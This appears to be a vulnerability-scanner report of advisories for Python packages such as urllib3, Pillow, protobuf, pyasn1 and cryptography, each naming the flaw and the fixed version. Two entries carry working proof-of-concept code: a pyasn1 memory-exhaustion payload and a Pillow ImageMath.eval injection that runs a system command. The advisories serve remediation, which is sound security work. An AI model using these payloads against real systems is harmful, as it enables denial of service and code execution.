Find, fix and prevent vulnerabilities in your code.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

• GitHub Commit

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow insufficent fix for CVE-2020-35654 due to incorrect error checking in TiffDecode.c.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

• Pillow
• RedHat Bugzilla Bug

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• PoC Code

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the valueDecoder function in decoder.py. An attacker can cause memory exhaustion by submitting a malformed RELATIVE-OID containing excessive continuation octets.

PoC

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Remediation

Upgrade pyasn1 to version 0.6.2 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in public key functions public_key_from_numbers, EllipticCurvePublicNumbers.public_key, load_der_public_key, and load_pem_public_key, which may reveal bits from a private key when provided with a malicious public key as input. When the application is using sect* binary curves for verification - which is a rare use case - these functions do not verify that the provided point belongs to the expected prime-order subgroup of the curve. An attacker can thus expose partial private keys or forge signatures.

Remediation

Upgrade cryptography to version 46.0.5 or higher.

References

• GitHub Commit
• GitHub Release

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion in the ParseDict() function, when handling deeply nested google.protobuf.Any messages. An attacker can bypass max_recursion_depth to exhaust the recursion stack and trigger a RecursionError.

Remediation

Upgrade protobuf to version 5.29.6, 6.33.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• GitHub Release
• Security Advisory

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null pointer dereference in when signatures are being verified on PKCS7 signed or signedAndEnveloped data in pkcs7/pk7_doit.c. If the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• Changelog (cryptography)
• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Observable Timing Discrepancy. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data (Marvin).

Note:

This vulnerability exists due to an incomplete fix for CVE-2020-25659.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

• GitHub Issue
• Vulnerability Report

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This can happen in the BLP container format where the reported size of the contained image is not properly checked. These images can cause arbitrarily large memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.1.2 or higher.

References

• GitHub Commit
• Release Notes

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This can happen in the ICO container format where the reported size of the contained image is not properly checked. These images can cause arbitrarily large memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.1.2 or higher.

References

• Release Notes

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This can happen in the ICNS container format where the reported size of the contained image is not properly checked. These images can cause arbitrarily large memory allocations.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.1.2 or higher.

References

• GitHub Commit
• Release Notes

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). Improper checks in BlpImagePlugin may result in the decoder running over empty data.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). This is due to improper checks in FliDecode that may result in an infinite loop.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). Improper checks in PSDImagePlugin may result in a DoS when calling Image.open.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Denial of Service (DoS). The readline in EPS use an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file can use this to perform a DoS in the open phase, before an image is accepted for opening.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Insufficient Validation. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

• GitHub Fix Commit for Pillow-SIMD
• RedHat Bugzilla Bug

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. The PCX image decoder uses the reported image stride to calculate the row buffer, rather than calculating it from the image size.

Remediation

Upgrade Pillow to version 8.1.0 or higher.

References

• GitHub PR

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. There is a 4 byte read overflow in SGIRleDecode.c, where the code is not correctly checking the offsets and length tables.

Remediation

Upgrade Pillow to version 8.1.0 or higher.

References

• GitHub PR

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read due to invalid tile boundaries lead.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Fix Commit CVE-2021-25291 pillow-smid

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. A out-of-bounds read in exists in J2kDecode in j2ku_graya_la.

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

• GitHub PR
• Pillow Release Notes
• RedHat Bugzilla Bug

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Out-of-bounds Read. A out-of-bounds read in exists in J2kDecode in j2ku_gray_i.

Remediation

Upgrade Pillow to version 8.2.0 or higher.

References

• GitHub PR
• Pillow Release Notes
• RedHat Bugzilla Bug

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via next_object_id.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pillow to version 8.1.1 or higher.

References

• GitHub Commit
• GitHub Fix Commit For Pillow-SIMD
• RedHat Bugzilla

Overview

Pillow is a PIL (Python Imaging Library) fork.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade Pillow to version 8.3.2 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

python-socketio is a Socket.IO server and client for Python

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via payloads that are passed between Socket.IO processes in multi-server deployments. An attacker can execute arbitrary code by sending a crafted pickle payload to a message queue used for inter-server communication.

Note: This is only exploitable if the attacker has already compromised the message queue or if the queue was publicly exposed.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade python-socketio to version 5.14.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in x509/v3_genn.c, when processing X.400 addresses with CRL checking enabled (e.g. when X509_V_FLAG_CRL_CHECK is set). An attacker in possession of both the certificate chain and CRL, of which neither needs a valid signature, can expose memory or cause a denial of service. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• Changelog (cryptography)
• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

GPL-3.0 license

GPL-3.0 license